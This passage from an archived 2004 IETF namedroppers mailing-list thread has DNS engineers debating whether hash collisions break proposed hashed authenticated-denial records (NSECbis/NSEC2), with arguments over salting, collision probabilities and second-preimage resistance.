give an example of an actual collision of two different > inputs for say SHA-1 (full rounds please), please speak up. > > > You have to describe what to do when you have a collision. Don't > > say they won't occur because they will. > > In case of an actual collision at serve time (birthday paradox does not > apply here, all pre-images were chosen for you), you treat this as a false > positive. A false positive implies that a non-existent name and type is > now proven to exist. I can't even imagine how one can abuse that fact. The problem is that you cannot supply a secure answer to the question asked. For every hash there is a enormous set of qnames which all has to the same value. > Oh, if anyone can give an example of an actual abuse of false positives, > please speak up. > > > For RRSIG the impact of collisions is that there are two (or more) > > RRsets that you cryptographically prove they are different. > > > > For name hashes you end up with different names with possible > > different sets of types that you some how have to merge. If the > > sets are identical I don't think there is a issue but it would need > > to be discussed. > > > > You will also have occasional false matches (names that you > > can't prove that don't exist). There MUST be names for which > > this will occur. > > If _ever_ such a name can be uncovered, register it with some type. > > Roy -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 23:53:21 +1000 Lines: 49 Sender: owner-namedroppers@ops.ietf.org References: <a06020401bd6df34b2ccf@[192.168.1.100]> Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:01:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 15 Sep 2004 09:29:13 -0400." <a06020401bd6df34b2ccf@[192.168.1.100]> Precedence: bulk > At 8:04 +1000 9/15/04, Mark Andrews wrote: > > > > The data doesn't have to be sorted but the hashes do. "6 of 1, > > half a dozen of the other" as far as I am concerned. > > For a lookup resulting in an answer, you don't need to access the > hashes. So, for all positive hits, you can go back to the old means > of storing a zone's contents in memory. > > Only for lookups resulting in negative answers do you have to have a > sorted list of things to respond with. The same is true of NSEC. > > You are incorrect. All the current schemes have a hash of less than > > 64 octets. There will ALWAYS be a possibility of collision even > > after trying every salt as it is impossible to make the hash space > > larger than the pre-hash space. > > Well, I believe that. Still I don't understand why collisions are a > problem. Perhaps because I am assuming that you'd only need to give > out hash answers in name errors, so the list of RRSETs doesn't matter. The problem is that by using hashes there you are creating sets of QNAMES for which you cannot return NXDOMAIN securely. One set for each hash in use. If you have collisions with hashes of names with data you cannot hand out NODATA responses securely. Yes, Roy you can exhaust salt space. > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 00:04:13 +1000 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <a06020402bd6df4566b25@[192.168.1.100]> Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:12:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 15 Sep 2004 09:31:42 -0400." <a06020402bd6df4566b25@[192.168.1.100]> Precedence: bulk > At 21:48 +1000 9/15/04, Mark Andrews wrote: > > > For name hashes you end up with different names with possible > > different sets of types that you some how have to merge. If the > > sets are identical I don't think there is a issue but it would need > > to be discussed. > > Why not just include both records as an RRset? Because you can now spoof away data that exist. > I think this is why I'm thinking we should have split the problem > into solving "name error" proofs and "no data" proofs. > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 10:15:31 -0400 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:27:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 23:53 +1000 9/15/04, Mark Andrews wrote: > The problem is that by using hashes there you are creating > sets of QNAMES for which you cannot return NXDOMAIN securely. > One set for each hash in use. ? I'm probably not on the same wavelength about hashes. I think the hash space needn't be considered part of the DNS data tree, just a transformation of existing names into an obscured representation. I.e., in a response message with a name error in the return code, the verifier ought to realize that the negative answer proof records are using transformed names, not plain text names. > > If you have collisions with hashes of names with data you cannot > hand out NODATA responses securely. Yes, Roy you can exhaust > salt space. Let's say the labels in a zone are {chamberlin erving julius wilt} and the corresponding hash values are { 6 9 13 } with a collision. Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9. Hmmm, I picked out 9 by randomly hitting a key and seeing that I managed to pick a collision between the qname and one or more members of the zone. Will this still work out? So, I get back a "name error" with "9 NSEC7 13" in the authority section. After verifying the record (via the RRSIG), what next? I suppose it's then possible to a victim of an insertion attack - an interloper passes back this collision with there being a genuine robertson in the zone. What if there the qname's hash was 10? In that case, I don't see a problem in the collision amongst zone members. But - it's the collision between qname and zone content - which isn't possible to know at signing or serving time - that might be a problem. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Chris Thompson <cet1@cus.cam.ac.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:27:06 +0100 (BST) Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:38:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> from "Mark Andrews" at Sep 15, 4 11:53:21 pm X-Mailer: ELM [version 2.4 PL24] Content-Length: 1297 Precedence: bulk Mark Andrews writes: [...snip...] > The problem is that by using hashes there you are creating > sets of QNAMES for which you cannot return NXDOMAIN securely. > One set for each hash in use. Maybe a different mechanism for securely returning NXDOMAIN is needed in these cases? If a name being looked up hashes to something different from every extant name, return the signed NSEC' record to prove it by showing an interval of hash values free of extant ones. But if the hash matches that of one or more extant names, but the name isn't any of them, then return a signed NSEC'' record that lists all the extant names that hash to that value (proving that the caller's wasn't one of them). That gives away one or more names in the zone, of course, but the caller had to be pretty damn lucky to get a hash match in the first place. This idea is somewhat half-baked, in that representing a list of names of potentially unlimited length in a signed answer could pose problems. (Although now you really could play "change the salt, Walt" to finesse that.) Chris Thompson Email: cet1@cam.ac.uk -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:28:32 +0100 Lines: 80 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:40:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 21:48 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > You can't write a draft assuming that there won't be collisions. > There will ALWAYS be the possibility of collisions (salts only > reduce the probability) and you have to take those into account. > > You have to describe what to do when you have a collision. Don't > say they won't occur because they will. Well we seem to be disagreeing on a point of mathematics not protocol here. I am saying that it is always going to be possible, in time no worse than O(n) (correct case for "O") where n is the zone size, to find a salt such that there are no hash collisions, provided that the size of the zone is less than the square root of the size of the hash space. I agree a collision MAY occur, and my description for dealing with it is to chose subsequent salts using a cyclic function of order at least the hash length, until a collision doesn't occur. Such a cyclic function might be "add one modulo max hash value". I believe I've demonstrated that this process finds a salt providing a non-colliding set (incidentally both non-colliding in the sense that no hashed name collides with a name prior to hashing, an also that no hashed name collides with any other hashed name), that the expected number of iterations is less than 2, and that each iteration is o(n), provided the requirements on maximum zone size are adhered to (as per another email, they have no practical impact). The foregoing is maths rather than protocol design (or at least my attempt at maths), so it should be something objectively verifiable. It's a fair while since I did this stuff academically, so perhaps with more recent experience might like to chime in. In a nutshell, I assert: Given a set of n integers, p(i), where 0<=p(i)<K, and a hash function H (satisfying all the normal properties) such that 0<=H(p(i),S)<J, and K > n^2, and J<=K, it is possible to find a salt value S for the hash such that: there is no (i, j) such that H(p(i),S)=p(j) and there is no (i, j) where i!=j such that H(p(i),S)=H(p(j),S) by the algorithm of selecting a value S at random from the interval O<=S<J, and, if the condition is not satisfied modifying S according to a cyclic function of length J (such as adding 1), until the condition is satisfied. I further assert that assuming hashing the set p(i) is o(n), then finding a non-colliding S (i.e. an S satisfying the above conditions) is no worse than O(n). If that's a fair statement of the problem, we've reduced it to a mathematical argument, yes? IE if my assertion is right, collisions are not a problem? > For RRSIG the impact of collisions is that there are two (or more) > RRsets that you cryptographically prove they are different. > > For name hashes you end up with different names with possible > different sets of types that you some how have to merge. If the > sets are identical I don't think there is a issue but it would need > to be discussed. > > You will also have occasional false matches (names that you > can't prove that don't exist). There MUST be names for which > this will occur. There must be such names for a given salt value (though such names are computationally very hard to find). I am pretty sure one can prove that there are not such names for ALL salt values. I am sure one cannot prove that there ARE such names for all salt values. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:31:44 +0100 Lines: 26 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:41:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 15:06 +0200 Roy Arends <roy@dnss.ec> wrote: > At hash generation time, in case of collision with an existing name, alter > salt. > > At name inclusion time, in case of collision with an existing hash, alter > salt. > > At serving time, in case of collision, be famous: I'm confused Roy - if you do the first two, how can the third ever occur (even if you COULD find an SHA-1 collision). Or more accurately you can avoid it by defining collision (in the first two) as either H(i)=j OR H(i)=H(j) (i.e. regenerate the hash if you find two labels hash to the same value - so you become potentially famous at hash generation or name inclusion time, not at serving time) Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:40:03 +0200 (CEST) Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:47:14 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Precedence: bulk On Wed, 15 Sep 2004, Alex Bligh wrote: > --On 15 September 2004 15:06 +0200 Roy Arends <roy@dnss.ec> wrote: > > > At hash generation time, in case of collision with an existing name, alter > > salt. > > > > At name inclusion time, in case of collision with an existing hash, alter > > salt. > > > > At serving time, in case of collision, be famous: > > I'm confused Roy - if you do the first two, how can the third ever > occur (even if you COULD find an SHA-1 collision). > > Or more accurately > you can avoid it by defining collision (in the first two) as either > H(i)=j OR H(i)=H(j) (i.e. regenerate the hash if you find two labels > hash to the same value - so you become potentially famous at hash > generation or name inclusion time, not at serving time) At generation/inclusion/serving time, it is virtually impossible to assert the content of a future query. A hash over this future -yet-unknown- query may collide with a hash over an existing name. You'll be famous at serving time. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:37:48 +0100 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 17:47:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Mark Andrews wrote: >>Hash collisions are fantastically unlikely. With salt you can make them >>never occur, anyway. Plus, if they were a problem, then you would have >>the same issue with signatures, but I don't see anyone bringing that one up. > > > You are incorrect. All the current schemes have a hash of less than > 64 octets. There will ALWAYS be a possibility of collision even > after trying every salt as it is impossible to make the hash space > larger than the pre-hash space. I agree, in theory. However, in practice, there's no way to have a zone with size 2^512, or even 2^160, so this is not a problem in real life. Even a zone large enough to have a 1 in 2 chance of a hash collision (2^80) is mind-bogglingly unlikely. If I'd started at the beginning of the Universe[1], I'd have to have generated 30 million domains a second to have a zone that large today. Cheers, Ben. [1] 12,000,000,000 years ago, says me. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:40:01 +0100 Lines: 43 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 17:48:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <C09F24F165286F1E0D6E6C41@[192.168.0.16]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Alex Bligh wrote: > > > --On 15 September 2004 15:06 +0200 Roy Arends <roy@dnss.ec> wrote: > >> At hash generation time, in case of collision with an existing name, >> alter >> salt. >> >> At name inclusion time, in case of collision with an existing hash, alter >> salt. >> >> At serving time, in case of collision, be famous: > > > I'm confused Roy - if you do the first two, how can the third ever > occur (even if you COULD find an SHA-1 collision). Or more accurately > you can avoid it by defining collision (in the first two) as either > H(i)=j OR H(i)=H(j) (i.e. regenerate the hash if you find two labels > hash to the same value - so you become potentially famous at hash > generation or name inclusion time, not at serving time) The collision would be between the name requested and one of the existing names in the zone. And the reason you'd be famous is you'd have broken second preimage resistance for SHA-1. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:48:35 +0100 Lines: 53 Sender: owner-namedroppers@ops.ietf.org References: <4146E8A0.2060402@algroup.co.uk> <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> <6466.1095250302@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 17:56:18 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <6466.1095250302@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > Date: Tue, 14 Sep 2004 13:48:32 +0100 > From: Ben Laurie <ben@algroup.co.uk> > Message-ID: <4146E8A0.2060402@algroup.co.uk> > > | The salt is not included in the label (at least in my proposal). > > It needs to be included somewhere, right? Otherwise the resolver can't > verify the hash is correct, and thus has no idea if the NSECbis record > is actually one that was supposed to apply to this query. If the salt is > something very huge, that's a lot of extra data to include (somewhere) > in each record (and the salt itself needs to be verified to be correct). > > This is why I have been assuming that the size of the salt (number of > bits) would be limited to a (somewhat) smallish value. In my proposal, the salt is a separate piece of data in the NSEC2 record. I don't know how critical it is that it is small, given that the response includes signatures, which are huge. > | However, I still contend that colliding with another name is irrelevant, > | since the hashed name will only appear in an NSECbis record, and an > | unhashed name will never appear in an NSECbis record. > > That's OK as far as it goes, except that the mere existence of a RR > (of any type) alters the lookup algorithm - particularly as it relates > to wildcards. And ... > > | I agree, NSECbis records need to be treated as special. > > I think that would be a terrible idea, more "special" records are the > very last thing that the DNS needs. I agree that this would be a good thing to avoid. I am less sure that it is avoidable if the problem is to be solved. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 17:19:46 +0100 Lines: 14 Sender: owner-namedroppers@ops.ietf.org References: <ben@algroup.co.uk> Cc: Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 18:30:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: Message from Ben Laurie <ben@algroup.co.uk> of "Wed, 15 Sep 2004 16:37:48 BST." <414861CC.3090203@algroup.co.uk> Precedence: bulk >>>>> "Ben" == Ben Laurie <ben@algroup.co.uk> writes: Ben> I agree, in theory. However, in practice, there's no way to Ben> have a zone with size 2^512, or even 2^160, so this is not a Ben> problem in real life. Once upon a time people said that about MD5. There was supposedly no realistic chance of two different input strings yielding the same hash. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 20:34:42 +0200 (CEST) Lines: 25 Sender: owner-namedroppers@ops.ietf.org References: <17355.1095265186@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: Ben Laurie <ben@algroup.co.uk>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 20:47:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Jim Reid <jim@rfc1035.com> In-Reply-To: <17355.1095265186@gromit.rfc1035.com> Precedence: bulk On Wed, 15 Sep 2004, Jim Reid wrote: > >>>>> "Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > > Once upon a time people said that about MD5. There was supposedly no > realistic chance of two different input strings yielding the same hash. And thats it, there's the crux. If a collision would be found we're en-masse shifting to a different hash algorithm, instead of desperately trying to avoid collisions. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Wed, 15 Sep 2004 21:59:04 +0200 Lines: 45 Sender: owner-namedroppers@ops.ietf.org References: <ben@algroup.co.uk> <17355.1095265186@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 22:11:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 38 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:/XEl+rhGzjhHYS5bPpSKGyo4ytU= Precedence: bulk Jim Reid <jim@rfc1035.com> writes: >>>>>> "Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > > Once upon a time people said that about MD5. There was supposedly no > realistic chance of two different input strings yielding the same hash. In what way do you believe that is relevant? If it is possible to find two (useful) inputs that have the same hash, then the signature schemes in DNSSEC are dead. Whether the hash function is collision resistant isn't critical for the NSECbis idea. One necessary property is that the output space is large enough, so that with salting it is possible to find unique output hashes for all owner names in existence. This isn't something you have to trust some hash function designer on, you can show this empirically yourself. Compute hashes H(i) for i=0...2^40 and count the number of distinct hash outputs you get. If that number is close to 2^40, the hash function is good enough to avoid collisions by repeated salting, since DNS zone doesn't contain more than 2^40 owner names. Replace by 2^41 if you think 2^40 is too small... You can base the NSECbis idea on CRC-128 plus salting, and I think it would still work. As you know, it is trivial to find two inputs that have the same CRC-128 output. I think your argument is simply flawed. I believe the hash function property that is needed for the NSECbis idea is a large enough output space and non-reversibility. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 04:53:11 +0700 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <41486251.2010400@algroup.co.uk> <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Alex Bligh <alex@alex.org.uk>, Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:05:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: <41486251.2010400@algroup.co.uk> Precedence: bulk Date: Wed, 15 Sep 2004 16:40:01 +0100 From: Ben Laurie <ben@algroup.co.uk> Message-ID: <41486251.2010400@algroup.co.uk> | The collision would be between the name requested and one of the | existing names in the zone. And the reason you'd be famous is you'd have | broken second preimage resistance for SHA-1. No, that's not true. Or at least, it would be, but only if you're deliberately setting out to find a name that hashes to a particular value - that's what's hard. Merely getting an accidental 